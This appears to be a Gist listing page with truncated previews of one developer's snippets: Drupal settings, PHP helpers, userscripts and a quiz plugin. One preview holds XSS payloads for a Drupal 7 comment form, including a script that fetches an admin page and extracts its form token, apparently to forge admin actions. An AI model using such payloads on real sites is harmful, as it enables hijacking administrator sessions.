This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
class.Diff.php | |
A class containing a diff implementation | |
Created by Stephen Morley - http://stephenmorley.org/ - and released under the | |
terms of the CC0 1.0 Universal legal code: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function($) { | |
/** | |
* @memberOf $ | |
*/ | |
$.wpProQuizFront = function(element, options) { | |
console.log(options.json); | |
var $e = $(element); | |
var config = options; | |
var plugin = this; | |
var results = new Object(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// <DDSETTINGS> | |
// Please don't edit anything between <DDSETTINGS> tags. | |
// This section is autogenerated by Acquia Dev Desktop. | |
if (isset($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR']) && file_exists($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc')) { | |
//echo $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc'; | |
require $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc'; | |
$settings['trusted_host_patterns'] = []; | |
$config_directories = array('sync' => '../config/sync'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Jira | |
// @namespace work | |
// @version 0.1 | |
// @description Tweaks | |
// @author Marcelo Vani | |
// @match https://creativesolutions.atlassian.net/secure/RapidBoard.jspa* | |
// @grant none | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js | |
// ==/UserScript== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Whatsapp | |
// @namespace chat | |
// @version 0.1 | |
// @description Tweaks | |
// @author Marcelo Vani | |
// @match https://web.whatsapp.com | |
// @grant none | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js | |
// ==/UserScript== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#0 d7 site: node/1 comment form with full html input format by uid0. | |
<script>alert('XSS')</script> | |
#1 d7 site: node/1 comment form with full html input format by uid0. | |
<script> | |
jQuery.get(Drupal.settings.basePath + 'admin/config/development/maintenance', | |
function (data, status) { | |
if (status == 'success') { | |
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-]*)"/); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function short_backtrace($limit = 0) { | |
$r = []; | |
$t = debug_backtrace(); | |
$t = array_slice($t, 1, $limit); | |
for ($i = 0; $i <= $limit; $i++) { | |
if (isset($t[$i]['file'])) { | |
$f = ''; | |
if (isset($t[$i]['function'])) { | |
$f = ' called ' . $t[$i]['function'] . '()'; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# This script replaces existing config on the current folder by copying from the origin provided as argument | |
# It also removes uuid and default_config hashes | |
if (empty($argv[1])) { | |
echo 'Please provide the origin folder' . PHP_EOL; | |
exit; | |
} | |
$origin = $argv[1]; | |
$local = getcwd(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name FieldCollector | |
// @namespace drupal | |
// @version 0.1 | |
// @description Gets list of fields from field ui and creates a CSV, you need to be on the Manage fields tab and Console must be open. Useful to create migration mappings. Copy the list of fields, paste on google docs and go to Data/Split text to columns | |
// @author Marcelo Vani | |
// @match http://*/* | |
// @grant none | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js | |
// ==/UserScript== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$debug_backtrace = debug_backtrace(); | |
$output = []; | |
foreach ($debug_backtrace as $debug) { | |
if (isset($debug['class'])) { | |
$o = $debug['class']; | |
} | |
$o .= '::' . $debug['function']; | |